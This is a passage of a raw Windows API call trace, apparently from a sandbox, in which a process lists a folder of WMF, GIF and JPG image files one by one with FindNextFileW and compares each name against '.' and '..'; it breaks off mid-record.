[0095.331] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0095.331] lstrcmpiW (lpString1="J0278882.WMF", lpString2=".") returned 1 [0095.331] lstrcmpiW (lpString1="J0278882.WMF", lpString2="..") returned 1 [0095.331] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0095.331] lstrcmpiW (lpString1="J0281904.WMF", lpString2=".") returned 1 [0095.331] lstrcmpiW (lpString1="J0281904.WMF", lpString2="..") returned 1 [0095.331] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0283209.GIF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0283209.GIF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0284916.JPG", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0284916.JPG", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0285360.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0285360.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0285410.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0285410.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0285444.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0285444.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0285698.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0285698.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0285750.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0285750.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0285926.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0285926.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0286034.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0286034.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0286068.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0286068.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0287005.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0287005.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0291984.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0291984.WMF", lpString2="..") returned 1 [0095.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0095.332] lstrcmpiW (lpString1="J0292020.WMF", lpString2=".") returned 1 [0095.332] lstrcmpiW (lpString1="J0292020.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0292152.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0292152.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0292982.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0292982.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0293234.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0293234.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0293236.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0293236.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0293238.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0293238.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0293240.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0293240.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0293570.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0293570.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0293828.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0293828.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0293844.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0293844.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0295241.GIF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0295241.GIF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0297185.WMF", lpString2=".") returned 1 [0095.333] lstrcmpiW (lpString1="J0297185.WMF", lpString2="..") returned 1 [0095.333] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0095.333] lstrcmpiW (lpString1="J0297551.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0297551.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0297707.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0297707.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0297749.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0297749.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0298653.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0298653.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0298897.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0298897.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0299125.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0299125.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0299171.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0299171.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0299587.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0299587.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0299611.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0299611.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0299763.WMF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0299763.WMF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0095.334] lstrcmpiW (lpString1="J0300520.GIF", lpString2=".") returned 1 [0095.334] lstrcmpiW (lpString1="J0300520.GIF", lpString2="..") returned 1 [0095.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, 